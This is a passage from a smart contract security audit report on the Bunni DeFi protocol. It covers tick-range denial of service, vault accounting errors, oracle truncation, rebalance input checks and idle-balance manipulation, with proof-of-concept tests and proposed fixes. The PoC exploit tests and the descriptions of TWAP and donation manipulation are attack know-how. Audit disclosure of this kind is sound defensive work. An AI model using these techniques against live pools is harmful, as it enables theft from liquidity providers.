            tickUpper = int24(FixedPointMathLib.min(tickLower + tickLength, maxUsableTick));
        } else if (tickUpper > maxUsableTick) {
            int24 tickLength = tickUpper - tickLower;
            tickUpper = maxUsableTick;
            tickLower = int24(FixedPointMathLib.max(tickUpper - tickLength, minUsableTick));
        }
    } else {
        ...
    }
}
```

2. Even if the immutable length parameter of the distribution is encoded such that `upperTick` exceeds the `maxUsableTick` and is hence capped at `maxUsableTick`, note that it is simply only constrained by `isValidParams()` as `int256(length) * int256(tickSpacing) <= type(int24).max` which passes for a sufficiently small `tickSpacing`.

3. Assuming a shift mode of `RIGHT`, and a new `tickLower` of `minUsableTick`, `decodeParams()` would return `minUsableTick` and `maxUsableTick` since the encoded length is such that `tickUpper` exceeds the usable

range. tickLength is therefore the entire usable range maxUsableTick - minUsableTick.

4. The shift is enforced such that tickLower is now minUsableTick + tickSpacing (lastTickLower) and tickUpper is recomputed as minUsableTick + tickSpacing + (maxUsableTick - minUsableTick = maxUsableTick + tickSpacing. This exceeds the usable range and reverts as described.

```
when validating params:
 minUsableTick          maxUsableTick
    |                          |
      |                           |
       ----------------------------
              encoded length


when decoding params:
 minUsableTick      maxUsableTick
    |                      |
    |                      |
    ------------------------
   tickLength = smallerLength


when enforcing shift mode:
      newTickLower  maxUsableTick
    |      |               |       |
            ------------------------
                tickLength
```

While the addition of the below validation to isValidParams() would prevent issues caused by an improperly encoded length, it is not enough to avoid DoS by this vector. The lower/upper ticks should also be validated by UniformDistribution::query against the min/max usable ticks in a manner similar to decodeParams().

```
(int24 minUsableTick, int24 maxUsableTick) =
        (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));
int256(length) * int256(tickSpacing) <= (maxUsableTick - minUsableTick)
```

Impact: While the likelihood of this issue is unclear, its impact is the DoS of all operations that depend on queryLDF(). Users would be unable to swap against the pool to return the tick to the usable range once it exceeds the max tick and shifts toward the mean tick would cause the pool to remain stuck outside the usable range.

Proof of Concept: The following test should be added to UniformDistribution.t.sol:

```
function test_poc_shiftmode()
    external
    virtual
{
    int24 tickSpacing = MIN_TICK_SPACING;
    (int24 minUsableTick, int24 maxUsableTick) =
        (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));
    int24 tickLower = minUsableTick;
    int24 tickUpper = maxUsableTick;
    int24 length = (tickUpper - minUsableTick) / tickSpacing;
    int24 currentTick = minUsableTick + tickSpacing * 2;
    int24 offset = roundTickSingle(tickLower - currentTick, tickSpacing);
    assertTrue(offset % tickSpacing == 0, "offset not divisible by tickSpacing");

    console2.log("tickSpacing", tickSpacing);
    console2.log("tickLower", tickLower);
    console2.log("tickUpper", tickUpper);
    console2.log("length", length);
    console2.log("currentTick", currentTick);
    console2.log("offset", offset);
    PoolKey memory key;
    key.tickSpacing = tickSpacing;
    bytes32 ldfParams = bytes32(abi.encodePacked(ShiftMode.RIGHT, offset, length));
    assertTrue(ldf.isValidParams(key, 15 minutes, ldfParams));

    bytes32 INITIALIZED_STATE = bytes32(abi.encodePacked(true, currentTick));
    int24 roundedTick = roundTickSingle(currentTick, tickSpacing);
    vm.expectPartialRevert(0x8b86327a);
    (, uint256 cumulativeAmount0DensityX96, uint256 cumulativeAmount1DensityX96,,) =
        ldf.query(key, roundedTick, 0, currentTick, ldfParams, INITIALIZED_STATE);
}
```

Recommended Mitigation: Additional validation should be performed on the distribution length and also to cap the upper tick after enforcing the shift. The lower tick could also be re-validated to be extra safe in case it is somehow possible to get the last tick outside the usable range. The absence of dynamic LDF tests was also noted and should be included to improve coverage.

```
function isValidParams(int24 tickSpacing, uint24 twapSecondsAgo, bytes32 ldfParams) internal pure
↪   returns (bool) {
    uint8 shiftMode = uint8(bytes1(ldfParams)); // use uint8 since we don't know if the value is in
    ↪   range yet
    if (shiftMode != uint8(ShiftMode.STATIC)) {
        // Shifting
        // | shiftMode - 1 byte | offset - 3 bytes | length - 3 bytes |
        int24 offset = int24(uint24(bytes3(ldfParams << 8))); // offset (in rounded ticks) of tickLower
        ↪   from the twap tick
        int24 length = int24(uint24(bytes3(ldfParams << 32))); // length of the position in rounded
        ↪   ticks

        return twapSecondsAgo != 0 && length > 0 && offset % tickSpacing == 0
++          && int256(length) * int256(tickSpacing) <= (TickMath.maxUsableTick(tickSpacing) -
↪   TickMath.minUsableTick(tickSpacing))
            && int256(length) * int256(tickSpacing) <= type(int24).max && shiftMode <=
            ↪   uint8(type(ShiftMode).max);
    } else {
        ...
}

function query(
    PoolKey calldata key,
    int24 roundedTick,
    int24 twapTick,
    int24, /* spotPriceTick */
    bytes32 ldfParams,
    bytes32 ldfState
)
    external
    view
    override
    guarded
    returns (
        uint256 liquidityDensityX96_,
        uint256 cumulativeAmount0DensityX96,
        uint256 cumulativeAmount1DensityX96,
        bytes32 newLdfState,
        bool shouldSurge
    )
{
    (int24 tickLower, int24 tickUpper, ShiftMode shiftMode) =
        LibUniformDistribution.decodeParams(twapTick, key.tickSpacing, ldfParams);
    (bool initialized, int24 lastTickLower) = _decodeState(ldfState);
    if (initialized) {
        int24 tickLength = tickUpper - tickLower;
--      tickLower = enforceShiftMode(tickLower, lastTickLower, shiftMode);
--      tickUpper = tickLower + tickLength;
++      tickLower = int24(FixedPointMathLib.max(minUsableTick, enforceShiftMode(tickLower,
↪   lastTickLower, shiftMode));
++      tickUpper = int24(FixedPointMathLib.min(maxUsableTick, tickLower + tickLength);
        shouldSurge = tickLower != lastTickLower;
    }

    (liquidityDensityX96_, cumulativeAmount0DensityX96, cumulativeAmount1DensityX96) =
        LibUniformDistribution.query(roundedTick, key.tickSpacing, tickLower, tickUpper);
    newLdfState = _encodeState(tickLower);
}
```

Bacon Labs: Fixed in PR #97.

Cyfrin: Verified, `UniformDistribution` now correctly bounds the tick ranges by the minimum and maximum usable ticks.

7.3.5 Various vault accounting inconsistencies and potential unhandled reverts

Description: `BunniHub::hookHandleSwap` overestimates the reserves deposited to ERC-4626 vaults and assumes that within the call to `_updateVaultReserveViaClaimTokens()` it deposits enough to execute the swap:

```
    function hookHandleSwap(PoolKey calldata key, bool zeroForOne, uint256 inputAmount, uint256
    ↪   outputAmount)
        external
        override
        nonReentrant
        notPaused(4)
    {
        if (msg.sender != address(key.hooks)) revert BunniHub__Unauthorized();

        // load state
        PoolId poolId = key.toId();
        PoolState memory state = getPoolState(s, poolId);
        (Currency inputToken, Currency outputToken) =
            zeroForOne ? (key.currency0, key.currency1) : (key.currency1, key.currency0);
        (uint256 initialReserve0, uint256 initialReserve1) = (state.reserve0, state.reserve1);

        // pull input claim tokens from hook
        if (inputAmount != 0) {
            zeroForOne ? state.rawBalance0 += inputAmount : state.rawBalance1 += inputAmount;
            poolManager.transferFrom(address(key.hooks), address(this), inputToken.toId(), inputAmount);
        }

        // push output claim tokens to hook
        if (outputAmount != 0) {
            (uint256 outputRawBalance, ERC4626 outputVault) =
                zeroForOne ? (state.rawBalance1, state.vault1) : (state.rawBalance0, state.vault0);
            if (address(outputVault) != address(0) && outputRawBalance < outputAmount) {
                // insufficient token balance
                // withdraw tokens from reserves
@>              (int256 reserveChange, int256 rawBalanceChange) = _updateVaultReserveViaClaimTokens(
                    (outputAmount - outputRawBalance).toInt256(), outputToken, outputVault
                );
                zeroForOne
                    ? (state.reserve1, state.rawBalance1) =
                        (_updateBalance(state.reserve1, reserveChange),
                        ↪   _updateBalance(state.rawBalance1, rawBalanceChange))
                    : (state.reserve0, state.rawBalance0) =
                        (_updateBalance(state.reserve0, reserveChange),
                        ↪  _updateBalance(state.rawBalance0, rawBalanceChange));
            }
@>          zeroForOne ? state.rawBalance1 -= outputAmount : state.rawBalance0 -= outputAmount;
            poolManager.transfer(address(key.hooks), outputToken.toId(), outputAmount);
        }
```

In the event the vault does not actually pull this amount of assets, it could cause raw balances to be considered smaller than they actually are:

```
    function _updateVaultReserveViaClaimTokens(int256 rawBalanceChange, Currency currency, ERC4626
    ↪  vault)
        internal
        returns (int256 reserveChange, int256 actualRawBalanceChange)
    {
        uint256 absAmount = FixedPointMathLib.abs(rawBalanceChange);
        if (rawBalanceChange < 0) {
            uint256 maxDepositAmount = vault.maxDeposit(address(this));
            // if poolManager doesn't have enough tokens or we're trying to deposit more than the vault
            ↪  accepts
            // then we only deposit what we can
            // we're only maintaining the raw balance ratio so it's fine to deposit less than requested
            uint256 poolManagerReserve = currency.balanceOf(address(poolManager));
            absAmount = FixedPointMathLib.min(FixedPointMathLib.min(absAmount, maxDepositAmount),
            ↪  poolManagerReserve);

            // burn claim tokens from this
            poolManager.burn(address(this), currency.toId(), absAmount);

            // take tokens from poolManager
            poolManager.take(currency, address(this), absAmount);

            // deposit tokens into vault
            IERC20 token;
            if (currency.isAddressZero()) {
                // wrap ETH
                weth.deposit{value: absAmount}();
                token = IERC20(address(weth));
            } else {
                token = IERC20(Currency.unwrap(currency));
            }
            address(token).safeApproveWithRetry(address(vault), absAmount);
            reserveChange = vault.deposit(absAmount, address(this)).toInt256();

            // it's safe to use absAmount here since at worst the vault.deposit() call pulled less token
            // than requested
@>          actualRawBalanceChange = -absAmount.toInt256();

            // revoke token approval to vault if necessary
            if (token.allowance(address(this), address(vault)) != 0) {
                address(token).safeApprove(address(vault), 0);
            }
        } else if (rawBalanceChange > 0) {
            ...
        }
    }
```

Similarly, when attempting to surge to the target raw balance ratio, it is not guaranteed that the vault withdraws sufficient reserves to reach the target raw balance bounds. `BunniHub::_updateRawBalanceIfNeeded` attempts to reach target but this is not guaranteed:

```
  function _updateRawBalanceIfNeeded(
        Currency currency,
        ERC4626 vault,
        uint256 rawBalance,
        uint256 reserve,
        uint256 minRatio,
        uint256 maxRatio,
        uint256 targetRatio
    ) internal returns (uint256 newReserve, uint256 newRawBalance) {
        uint256 balance = rawBalance + getReservesInUnderlying(reserve, vault);
        uint256 minRawBalance = balance.mulDiv(minRatio, RAW_TOKEN_RATIO_BASE);
        uint256 maxRawBalance = balance.mulDiv(maxRatio, RAW_TOKEN_RATIO_BASE);

        if (rawBalance < minRawBalance || rawBalance > maxRawBalance) {
            uint256 targetRawBalance = balance.mulDiv(targetRatio, RAW_TOKEN_RATIO_BASE);
@>          (int256 reserveChange, int256 rawBalanceChange) =
                _updateVaultReserveViaClaimTokens(targetRawBalance.toInt256() - rawBalance.toInt256(),
                ↪  currency, vault);
            newReserve = _updateBalance(reserve, reserveChange);
            newRawBalance = _updateBalance(rawBalance, rawBalanceChange);
        } else {
            (newReserve, newRawBalance) = (reserve, rawBalance);
        }
    }
```

In this case, a vault accepting fewer assets than requested would result in an underestimate for the true raw balance. Assuming a deposit is successful but the actual amount pulled by the vault in `_depositVaultReserve()` is less than the `amountSpent`, this is the scenario that necessitates revocation of the token approval to the vault:

```
// revoke token approval to vault if necessary
if (token.allowance(address(this), address(vault)) != 0) {
    address(token).safeApprove(address(vault), 0);
}
```

While there does exist an excess ETH refund at the end of `BunniHubLogic::deposit`, this does not take into account any discrepancy due to the above behavior. Similarly, this is not accounted or refunded to the caller for ERC-20 tokens either. As such, these deltas corresponding to any unused WETH or other ERC-20 tokens will remain in the `BunniHub`. One such place this balance could be erroneously used is in the calculation of the rebalance order output amount in `BunniHook::rebalanceOrderPostHook` which uses the contract balance less the transient `outputBalanceBefore`. Thus, the fulfiller of an order executed via Flood Plain could erroneously benefit from this oversight.

```
    if (args.currency.isAddressZero()) {
        // unwrap WETH output to native ETH
@>      orderOutputAmount = weth.balanceOf(address(this));
        weth.withdraw(orderOutputAmount);
    } else {
        orderOutputAmount = args.currency.balanceOfSelf();
    }
@>  orderOutputAmount -= outputBalanceBefore;
```

While `rebalanceOrderPostHook()` intends to use the actual change in balance from the rebalance order execution based on the transient storage cache, any attempted nested deposit within the `_rebalancePrehookCallback()` that pulls fewer tokens than expected with contribute to the overall contract balance after the transient storage is set. Therefore, `orderOutputAmount` shown below will include this increased balance even after it is decremented by `outputBalanceBefore`:

```
        assembly ("memory-safe") {
            outputBalanceBefore := tload(REBALANCE_OUTPUT_BALANCE_SLOT)
        }
        if (args.currency.isAddressZero()) {
            // unwrap WETH output to native ETH
@>          orderOutputAmount = weth.balanceOf(address(this));
            weth.withdraw(orderOutputAmount);
        } else {
            orderOutputAmount = args.currency.balanceOfSelf();
        }
@>      orderOutputAmount -= outputBalanceBefore;
```

Additionally, other vault edge case behaviour does not appear to be sufficiently handled. Morpho is comprised of the core protocol Morpho Blue and then on top of that there are two versions of MetaMorpho. When fork testing against a USDC instance of `MetaMorphoV1_1`, it was observed to have a withdrawal queue length of 3 which specifies which markets to prioritise when withdrawing assets from the underlying protocol. Obtaining all the market ids allows the corresponding supply/borrow assets and shares to be queried. The significance of an error `NotEnoughLiquidity()` that was observed is that too much of the USDC is being actively lent out to allow withdrawals to be processed. This likely depends on how specific vaults and their markets are configured, but can be quite problematic for all core functionality.

Impact: While the full impact is not currently completely clear, incorrect accounting due to edge cause vault behavior could result in a slight loss to users and DoS of core functionality due to unhandled reverts.

Recommended Mitigation: Consider:

- Explicitly handling the cases where vaults do not take the expected asset amounts.
- Processing refunds to callers for any unused tokens.
- Adding more sophisticated failover logic for vault calls that could unexpectedly revert.

Bacon Labs: Fixed first point in PR #128. Acknowledge the point about swaps reverting when there's not enough liquidity in the vault, there's not much that we can do when this happens besides reverting (we could give less output tokens but the swap should revert due to the high slippage anyways).

Cyfrin: Verified, the actual token balance change is now used as the raw balance change during deposit in `BunniHub::_updateVaultReserveViaClaimTokens` and any excess amounts are processed accordingly.

7.3.6 Incorrect oracle truncation allows successive observations to exceed `MAX_ABS_TICK_MOVE`

Description: The Bunni `Oracle` library is a modified version of the Uniswap V3 library of the same name. The most notable difference is the inclusion of a constant `MAX_ABS_TICK_MOVE = 9116` which specifies the maximum amount of ticks in either direction that the pool is allowed to move at one time. A minimum interval has been introduced accordingly, such that observations are only recorded if the time elapsed since the previous observation is at least the minimum interval. If the minimum interval has not passed, intermediate observations are truncated to respect the maximum absolute tick move and stored in separate `BunniHook` state.

```
    function write(
        Observation[MAX_CARDINALITY] storage self,
        Observation memory intermediate,
        uint32 index,
        uint32 blockTimestamp,
        int24 tick,
        uint32 cardinality,
        uint32 cardinalityNext,
        uint32 minInterval
    ) internal returns (Observation memory intermediateUpdated, uint32 indexUpdated, uint32
    ↪   cardinalityUpdated) {
        unchecked {
            // early return if we've already written an observation this block
            if (intermediate.blockTimestamp == blockTimestamp) {
                return (intermediate, index, cardinality);
            }
            // update the intermediate observation using the most recent observation
            // which is always the current intermediate observation
@>          intermediateUpdated = transform(intermediate, blockTimestamp, tick);

            // if the time since the last recorded observation is less than the minimum interval, we
            ↪  store the observation in the intermediate observation
            if (blockTimestamp - self[index].blockTimestamp < minInterval) {
                return (intermediateUpdated, index, cardinality);
            }

            // if the conditions are right, we can bump the cardinality
            if (cardinalityNext > cardinality && index == (cardinality - 1)) {
                cardinalityUpdated = cardinalityNext;
            } else {
                cardinalityUpdated = cardinality;
            }

            indexUpdated = (index + 1) % cardinalityUpdated;
@>          self[indexUpdated] = intermediateUpdated;
        }
    }

    function transform(Observation memory last, uint32 blockTimestamp, int24 tick)
        private
        pure
        returns (Observation memory)
    {
        unchecked {
            uint32 delta = blockTimestamp - last.blockTimestamp;

            // if the current tick moves more than the max abs tick movement
            // then we truncate it down
            if ((tick - last.prevTick) > MAX_ABS_TICK_MOVE) {
                tick = last.prevTick + MAX_ABS_TICK_MOVE;
            } else if ((tick - last.prevTick) < -MAX_ABS_TICK_MOVE) {
                tick = last.prevTick - MAX_ABS_TICK_MOVE;
            }

            return Observation({
                blockTimestamp: blockTimestamp,
                prevTick: tick,
                tickCumulative: last.tickCumulative + int56(tick) * int56(uint56(delta)),
                initialized: true
            });
        }
    }
```

While this logic intends to enforce a maximum difference between the ticks of actual observations made in calls to `write()` by truncation performed in `transform()`, it is instead erroneously enforced on intermediate observations. As such, the stored observations can easily and significantly exceed `MAX_ABS_TICK_MOVE` for a non-zero `minInterval`.

Assuming a `minInterval` of 60 seconds, or 5 Ethereum mainnet blocks, consider the following intermediate observations that respect the maximum absolute tick move, but note that the difference in actual recorded observations is significantly larger:

```
| Timestamp    | Tick     | State changes                                                  |
|--------------|----------|----------------------------------------------------------------|
| timestamp 0  | 100 000  |                                                                |
| timestamp 12 | 109 116  | create an observation with 109 116 and set it as intermediate |
| timestamp 24 | 118 232  | set 118 232 as intermediate                                  |
| timestamp 36 | 127 348  | set 127 348 as intermediate                                  |
| timestamp 48 | 136 464  | set 136 464 as intermediate                                  |
| timestamp 60 | 145 580  | create an observation with 145 580 and set it as intermediate |
```

Impact: Given that the difference between observations is not bounded, a malicious actor is much more easily able to manipulate the TWAP. The most impactful scenarios are likely to be:

- For external integrators who rely on the TWAP price of a pool that can be manipulated much easier than intended.
- `BuyTheDipGeometricDistribution` could have its alt alpha triggered much more easily than intended. In one direction, alpha is made to be much smaller, so the liquidity is concentrated very tightly around the spot price which could result in large slippage for honest users. In the other direction, manipulation to a larger alpha could make the liquidity appear artificially deep far from the non-manipulated price, letting an attacker buy or sell huge amounts at artificial rates and basically benefitting from the slippage. It is not clear how feasible such an attack would be as it depends of the minimum oracle observation interval and so likely requires an attacker to be sufficiently well-funded to hold multi-block manipulation.
- If this oracle is used for other LDFs such as `OracleUniGeoDistribution` that rely on a TWAP to define dynamic behavior, this could likely cause similar issues for the bounding.
- Rebalances across all LDFs may also be affected, where it may be possible artificially control the inputs to trigger an unfavourable flood order and extract value from the pools that way.
- The dynamic swap fee is likely to be computed much larger than intended, which results in DoS. If a pool is configured to mutate its LDF assuming truncated oracle observations function as intended, this could cause the LDF to mutate too often and trigger surge fees. The fee is set to 100% and decreases exponentially, so users would be charged a higher fee than they should. Additionally, during the same block in which surging occurs, no swap can be executed because the fee overflows math computations. Hence, if for example an external protocol relies on executing swaps on Bunni during an execution, a malicious actor could make it revert by triggering a surge during the same block.

Recommended Mitigation: Enforce truncation between actual recorded observations made once the minimum interval has passed, rather than just on intermediate observations.

Bacon Labs: Acknowledged, we think the existing implementation is actually fine. `MAX_ABS_TICK_MOVE` should be the max tick difference between observations in consecutive blocks (`9116` corresponds to a `1.0001^9116=2.488x` price change per block), not between consecutive observations in the storage array. Thus enforcing the max tick move between intermediate observations actually achieves what we want, since intermediate observations are updated at most once every block.

Cyfrin: Acknowledged.

7.3.7 Missing `LDFType` type validation against `ShiftMode` can result in losses due disabled surge fees

Description: While it is not required, some existing LDFs shift their liquidity distribution based on behavior derived from the TWAP oracle. If the `ShiftMode` is specified as the `STATIC` variant, the distribution does not shift; however, the LDF can still have dynamic behavior such as that exhibited by `BuyTheDipGeometricDistribution` which switches between alpha parameters depending on the arithmetic mean tick and immutable threshold. For non-static LDFs, `ILiquidityDensityFunction::isValidParams` validates that the TWAP duration is non-zero for non-static shift modes, such that there is never a case where an LDF shifts but there is no valid TWAP value to use.

The `LDFType` is a separate but related configuration specified in the LDF parameters and used in the `BunniHub` to define the surge fee behavior and usage of `s.ldfStates`. Here, the `STATIC` variant defines a stateless LDF (from the perspective of the `BunniHook`) that has no dynamic behavior and, assuming rehypothecation is enabled, surges only based on changes in the vault share price; however, if the `ShiftMode` is not `STATIC` then this disabling of surge fees can result in losses to liquidity providers due to MEV.

It is understood that it is not currently possible to create such a pool using the Bunni UI, though such configs are possible on the smart contract level.

Impact: Liquidity providers may be subject to losses due to MEV when surge fees are disabled for static LDFs that exhibit shifting behavior.

Recommended Mitigation: Consider enforcing on the smart contract level that a shifting liquidity distribution must correspond to a non-static LDF type.

Bacon Labs: Fixed in PR #101.

Cyfrin: Verified, a new `ldfType` parameter has been added to `isValidParams()` to validate the required combinations of `ldfType` and `shiftMode` in LDFs.

7.3.8 am-AMM fees could be incorrectly used by rebalance mechanism as order input

Description: As part of the implementation of the autonomous rebalance mechanism in `BunniHook::rebalanceOrderPreHook`, the hook balance of the order output token is set in transient storage before the order is executed. This occurs before the unlock callback, during which `hookHandleSwap()` is called within `_rebalancePrehookCallback()`:

```
    function rebalanceOrderPreHook(RebalanceOrderHookArgs calldata hookArgs) external override
    ↪   nonReentrant {
        ...
        RebalanceOrderPreHookArgs calldata args = hookArgs.preHookArgs;

        // store the order output balance before the order execution in transient storage
        // this is used to compute the order output amount
        uint256 outputBalanceBefore = hookArgs.postHookArgs.currency.isAddressZero()
            ? weth.balanceOf(address(this))
            : hookArgs.postHookArgs.currency.balanceOfSelf();
        assembly ("memory-safe") {
@>          tstore(REBALANCE_OUTPUT_BALANCE_SLOT, outputBalanceBefore)
        }

        // pull input tokens from BunniHub to BunniHook
        // received in the form of PoolManager claim tokens
        // then unwrap claim tokens
        poolManager.unlock(
            abi.encode(
                HookUnlockCallbackType.REBALANCE_PREHOOK,
@>              abi.encode(args.currency, args.amount, hookArgs.key, hookArgs.key.currency1 ==
↪   args.currency)
            )
        );

        // ensure we have at least args.amount tokens so that there is enough input for the order
@>      if (args.currency.balanceOfSelf() < args.amount) {
            revert BunniHook__PrehookPostConditionFailed();
        }
        ...
    }

    /// @dev Calls hub.hookHandleSwap to pull the rebalance swap input tokens from BunniHub.
    /// Then burns PoolManager claim tokens and takes the underlying tokens from PoolManager.
    /// Used while executing rebalance orders.
    function _rebalancePrehookCallback(bytes memory callbackData) internal {
        // decode data
        (Currency currency, uint256 amount, PoolKey memory key, bool zeroForOne) =
            abi.decode(callbackData, (Currency, uint256, PoolKey, bool));

        // pull claim tokens from BunniHub
@>      hub.hookHandleSwap({key: key, zeroForOne: zeroForOne, inputAmount: 0, outputAmount: amount});

        // lock BunniHub to prevent reentrancy
        hub.lockForRebalance(key);

        // burn and take
        poolManager.burn(address(this), currency.toId(), amount);
        poolManager.take(currency, address(this), amount);
    }
```

The transient storage is again queried in the call to `rebalanceOrderPostHook()` to ensure that only the specified amount of the output token (consideration item) is transferred from `BunniHook`:

```
    function rebalanceOrderPostHook(RebalanceOrderHookArgs calldata hookArgs) external override
    ↪   nonReentrant {
        ...
        RebalanceOrderPostHookArgs calldata args = hookArgs.postHookArgs;

        // compute order output amount by computing the difference in the output token balance
        uint256 orderOutputAmount;
        uint256 outputBalanceBefore;
        assembly ("memory-safe") {
@>          outputBalanceBefore := tload(REBALANCE_OUTPUT_BALANCE_SLOT)
        }
        if (args.currency.isAddressZero()) {
            // unwrap WETH output to native ETH
            orderOutputAmount = weth.balanceOf(address(this));
            weth.withdraw(orderOutputAmount);
        } else {
            orderOutputAmount = args.currency.balanceOfSelf();
        }
@>      orderOutputAmount -= outputBalanceBefore;
        ...
```

However similar such validation is not applied to the input token (offer item). While the existing validation shown above is performed to ensure that the hook holds sufficient tokens to process the order, it fails to consider that the hook may hold funds designated to other recipients. Previously, per the Pashov Group finding H-04, autonomous rebalance was DoS'd by checking the token balance was strictly equal to the order amount but forgot to account for am-AMM fees and donations. The recommendation was to check that the contract's token balance increase is equal to `args.amount`, not the total balance.

Given that am-AMM fees are stored as ERC-6909 balances within the `BunniHook`, these could be erroneously used as part of the rebalance order input amount. This could occur when the hook holds insufficient raw balance to cover the input amount, perhaps when rehypothecation is enabled and the `hookHandleSwap()` call pulls fewer tokens than expected due to the vault returning fewer tokens than specified. Instead, the input token balance should be set in transient storage before the unlock callback in the same way that `outputBalanceBefore` is. Then, the difference between the input token balances before the unlock callback and after should be validated to satisfy the order input amount.

Impact: am-AMM fees stored as ERC-6909 balance inside `BunniHook` could be erroneously used as rebalance input due to the incorrect balance check.

Recommended Mitigation: Consider modifying the validation performed after the unlock callback to:

```
uint256 inputBalanceBefore = args.currency.balanceOfSelf();

// unlock callback

if (args.currency.balanceOfSelf() - inputBalanceBefore < args.amount) {
    revert BunniHook__PrehookPostConditionFailed();
}
```

Bacon Labs: Fixed in PR #98 and PR #133.

Cyfrin: Verified, stricter input amount validation has been added to `BunniHook::rebalanceOrderPreHook`.

7.3.9 Idle balance is computed incorrectly when an incorrect vault fee is specified

Description: When a new deposit is made into a Bunni pool in which there is already some liquidity, the amounts of each token to deposit are computed based on the current ratio. It is assumed by the current logic that that the idle amount can only increase proportionally to the current balance and that the excess token will not change during the lifetime of the deposit; however, this assumption can be broken when a user deposits funds to a vault and incorrectly specified it fee.

Assuming that:

- There are `1e18` token0/1 in the pool and `1e18` shares minted.
- The price of the tokens is 1:1 as specified by the LDF such that the idle balance is 0.
- The target raw balance for vault0, which has a 10% fee, is 30%.
- Token1 has no vault configured.

The `BunniHub` computes the amounts to deposit as follows:

1. A user passes the amounts to deposit as 1e18 for both tokens but does not specify any vault fee.
2. The `_depositLogic()` function computes the amounts to deposit based on the current token ratio. Hence, it computes an `amount0` and `amount1` of `1e18` tokens. It also computes a `reserveAmount0` of `0.7e18` tokens.
3. The `BunniHub` deposits `0.3e18` token0 and `1e18` token1 to Uniswap to mint the raw balances in ERC-6909 form.
4. It now attempts to deposit the `0.7e18` tokens to vault0. Since the user did not pass the 10% fee, it will compute a `reserveChangeInUnderlying` of `0.63e18` tokens.
5. It now computes the amount of shares to mint by taking the real value added. In this case will be `0.93e18` token0 and `1e18` token1. It takes the minimum, so will mint `0.93e18` shares.
6. It now computes the updated idle balance where it assumes that the same ratio of funds has been deposited. So since the idle balance was previously 0, it will now be 0 too; however, in this case, a value of `1e18` token1 has been provided and only `0.93e18` token0.

Impact Anyone can unbalance the token ratio which will be amplified by subsequent deposits due to the new token ratio. The idle balance is also used when querying the LDF to obtain the active balances against which swaps are performed. Therefore, assuming the price of LP tokens is determined by accounting the total Bunni token supply and the amount of liquidity in the pool, it is possible to atomically change this price through a sort of donation attack which could have serious implications for the desire expressed by Bacon Labs to consider using LP tokens as collateral on lending platforms.

Proof of Concept First create the following `ERC4626FeeMock` inside `test/mocks/ERC4626Mock.sol`:

```
contract ERC4626FeeMock is ERC4626 {
    address internal immutable _asset;
    uint256 public fee;
    uint256 internal constant MAX_FEE = 10000;

    constructor(IERC20 asset_, uint256 _fee) {
        _asset = address(asset_);
        if(_fee > MAX_FEE) revert();
        fee = _fee;
    }

    function setFee(uint256 newFee) external {
        if(newFee > MAX_FEE) revert();
        fee = newFee;
    }

    function deposit(uint256 assets, address to) public override returns (uint256 shares) {
        return super.deposit(assets - assets * fee / MAX_FEE, to);
    }
    function asset() public view override returns (address) {
        return _asset;
    }

    function name() public pure override returns (string memory) {
        return "MockERC4626";
    }

    function symbol() public pure override returns (string memory) {
        return "MOCK-ERC4626";
    }
}
```

Then add it into the `test/BaseTest.sol` imports:

```
--  import {ERC4626Mock} from "./mocks/ERC4626Mock.sol";
++  import {ERC4626Mock, ERC4626FeeMock} from "./mocks/ERC4626Mock.sol";
```

The following test can now be added to `test/BunniHub.t.sol`:

```
    function test_WrongIdleBalanceComputation() public {
        ILiquidityDensityFunction uniformDistribution = new UniformDistribution(address(hub),
        ↪  address(bunniHook), address(quoter));
        Currency currency0 = Currency.wrap(address(token0));
        Currency currency1 = Currency.wrap(address(token1));
        ERC4626FeeMock feeVault0 = new ERC4626FeeMock(token0, 0);
        ERC4626 vault0_ = ERC4626(address(feeVault0));
        ERC4626 vault1_ = ERC4626(address(0));
        IBunniToken bunniToken;
        PoolKey memory key;
        (bunniToken, key) = hub.deployBunniToken(
            IBunniHub.DeployBunniTokenParams({
                currency0: currency0,
                currency1: currency1,
                tickSpacing: TICK_SPACING,
                twapSecondsAgo: TWAP_SECONDS_AGO,
                liquidityDensityFunction: uniformDistribution,
                hooklet: IHooklet(address(0)),
                ldfType: LDFType.DYNAMIC_AND_STATEFUL,
                ldfParams: bytes32(abi.encodePacked(ShiftMode.STATIC, int24(-5) * TICK_SPACING,
                ↪  int24(5) * TICK_SPACING)),
                hooks: bunniHook,
                hookParams: abi.encodePacked(
                    FEE_MIN,
                    FEE_MAX,
                    FEE_QUADRATIC_MULTIPLIER,
                    FEE_TWAP_SECONDS_AGO,
                    POOL_MAX_AMAMM_FEE,
                    SURGE_HALFLIFE,
                    SURGE_AUTOSTART_TIME,
                    VAULT_SURGE_THRESHOLD_0,
                    VAULT_SURGE_THRESHOLD_1,
                    REBALANCE_THRESHOLD,
                    REBALANCE_MAX_SLIPPAGE,
                    REBALANCE_TWAP_SECONDS_AGO,
                    REBALANCE_ORDER_TTL,
                    true, // amAmmEnabled
                    ORACLE_MIN_INTERVAL,
                    MIN_RENT_MULTIPLIER
                ),
                vault0: vault0_,
                vault1: vault1_,
                minRawTokenRatio0: 0.20e6,
                targetRawTokenRatio0: 0.30e6,
                maxRawTokenRatio0: 0.40e6,
                minRawTokenRatio1: 0,
                targetRawTokenRatio1: 0,
                maxRawTokenRatio1: 0,
                sqrtPriceX96: TickMath.getSqrtPriceAtTick(0),
                name: bytes32("BunniToken"),
                symbol: bytes32("BUNNI-LP"),
                owner: address(this),
                metadataURI: "metadataURI",
                salt: bytes32(0)
            })
        );

        // make initial deposit to avoid accounting for MIN_INITIAL_SHARES
        uint256 depositAmount0 = 1e18 + 1;
        uint256 depositAmount1 = 1e18 + 1;
        address firstDepositor = makeAddr("firstDepositor");
        vm.startPrank(firstDepositor);
        token0.approve(address(PERMIT2), type(uint256).max);
        token1.approve(address(PERMIT2), type(uint256).max);
        PERMIT2.approve(address(token0), address(hub), type(uint160).max, type(uint48).max);
        PERMIT2.approve(address(token1), address(hub), type(uint160).max, type(uint48).max);
        vm.stopPrank();

        // mint tokens
        _mint(key.currency0, firstDepositor, depositAmount0 * 100);
        _mint(key.currency1, firstDepositor, depositAmount1 * 100);

        // deposit tokens
        IBunniHub.DepositParams memory depositParams = IBunniHub.DepositParams({
            poolKey: key,
            amount0Desired: depositAmount0,
            amount1Desired: depositAmount1,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp,
            recipient: firstDepositor,
            refundRecipient: firstDepositor,
            vaultFee0: 0,
            vaultFee1: 0,
            referrer: address(0)
        });

        vm.startPrank(firstDepositor);
